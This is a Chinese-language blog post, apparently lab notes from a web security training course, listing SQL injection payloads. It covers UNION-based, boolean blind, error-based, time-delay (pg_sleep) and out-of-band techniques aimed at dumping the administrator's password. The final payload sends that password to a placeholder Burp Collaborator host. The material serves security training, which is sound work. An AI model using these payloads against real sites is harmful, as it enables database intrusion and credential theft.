抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

第三篇:sql注入

SQL 注入 UNION 攻击,确定查询返回的列数:

1
2
3
4
/?category=gifts'+UNION+SELECT+NULL,NULL-- 有则正确返回包,无则报错

/?category=gifts'+order+by+1,2# 无则正确返回包,有则报错
哈希字符可用于标识注释。--#

查找数据列的字段类型:

1
2
3
4
/?category=gifts'+UNION+SELECT +'a',NULL,NULL,NULL--
/?category=gifts'+UNION+SELECT +NULL,+'a',NULL,NULL--
/?category=gifts'+UNION+SELECT +NULL,NULL,+'a',NULL--
/?category=gifts'+UNION+SELECT +NULL,NULL,NULL,+'a'-- 对则正确返回包,无则报错

从表中检索数据:

1
?category=gifts'+UNION+SELECT+username,+password+FROM+users--  

检索单个列中的多个值:

使用一列的位置查找多个值

1
?category=gifts'+UNION+SELECT+username||'~'||password+FROM+users--

不同数据库对应的连接符:

1
2
3
4
5
Oracle	'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
MySQL 'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')

查询数据库类型和版本:

1
?category=gifts'+UNION+SELECT+@@version--

不同数据库对应的查询版本命令:

1
2
3
4
5
6
Oracle:	SELECT banner FROM v$version
SELECT version FROM v$instance

Microsoft: SELECT @@version
PostgreSQL: SELECT version()
MySQL: SELECT @@version

列出数据库的内容:

查询以列出数据库中的表:

information_schema.tables

1
SELECT * FROM information_schema.tables

查询以列出各个表中的列:

information_schema.columns

1
SELECT * FROM information_schema.columns WHERE table_name = 'Users'

盲目 SQL 注入

使用条件响应进行盲目 SQL 注入:

使用到的sql函数:

LIMIT 1: 查看第一列是否有数据

length(password)>2:判断字节长度

SUBSTRING(password,1,1):查看password第一列第一个字符

1
2
3
4
5
6
7
8
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a  查看是否有user表
TrackingId=xyz' AND (SELECT 'a' FROM users where username='administrator')='a 查看user表是否有admin用户
TrackingId=xyz' AND (SELECT 'a' FROM users where username='administrator' and length(password)>1)='a
TrackingId=xyz' AND (SELECT 'a' FROM users where username='administrator' and length(password)>2)='a ......
查看password长度
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a .....
爆破password字段每位字符。

爆破!

基于错误的 SQL 注入:

通过触发条件错误来利用盲目 SQL 注入

DUALOracle与数据字典一起自动创建的一个最小工作表,它只有一列DUMMY,其数据类型为:VARCHAR2(1)。DUAL中只有一行数据:'X'。DUAL属于SYS模式,但所有用户都可以使用DUAL名称访问它。

1
TrackingId=xyz'||(SELECT '' FROM dual WHERE ROWNUM = 1)||' 

TrackingId=xyz’||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||’

先判断 case when (1=1)是否正确,正确执行then 因为1/0,0不能是被除数 则返回错误信息

CASE WHEN (1=2)时 case(1=1)时,报错
1
2
3
4
5
6
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'   (收到错误),确认存在名为 的用户。administrator

TrackingId=xyz''||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||' (收到错误),判断字长 直到收到成功报文。

TrackingId=xyz''||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||' (收到错误)则找到对应字符

爆破!

因为是报错注入,因此状态码为500是爆破成功的。

基于可见的错误的 SQL 注入:

通过注入错误,返回错误信息,根据报错信息SQL注入

CAST((SELECT 1) AS int 调整查询以包含泛型子查询,并将返回的值转换为数据类型

1
TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--

修改条件,添加比较运算符 =

1
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--

返回成功报文

构造语句正确,开始查询

1
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username from users) AS int)--

收到初始错误消息:

1
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'IZhjuERH9SHnuYkd' AND 1=CAST((SELECT username from users) AS'. Expected  char   原因:字符限制,查询被截断 

删除cookies值解除字符长度限制

1
TrackingId=' AND 1=CAST((SELECT username from users) AS int)--

仍然报错:

1
ERROR: more than one row returned by a subquery used as an expression  原因:返回结果超过一行

添加限制:

1
TrackingId=' AND 1=CAST((SELECT username from users limit 1) AS int)-- 成功!

更改想要查询的字段名找到password

1
TrackingId=' AND 1=CAST((SELECT password from users limit 1) AS int)-- 

基于延时触发的sql盲注入:

因错误信息的被完善,无法发现注入区别,可以使用延时触发sql注入

pg_sleep(4) 休眠时间 成功延时4s,失败无变化

1
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(4)+ELSE+pg_sleep(0)+END--

如果构造语句没问题,就开始查询信息

1
2
3
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+and+substring(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

爆破查看接收到响应数值判断密码

带外交互的 SQL 盲注入:

修改 Cookie,将其更改为将触发与 Collaborator 服务器交互的有效负载

1
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

右键单击并选择“Insert Collaborator payload”插入指定playload位置

确认了触发带外交互的方法后,可以使用带外通道从易受攻击的应用程序中泄露数据。

1
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

评论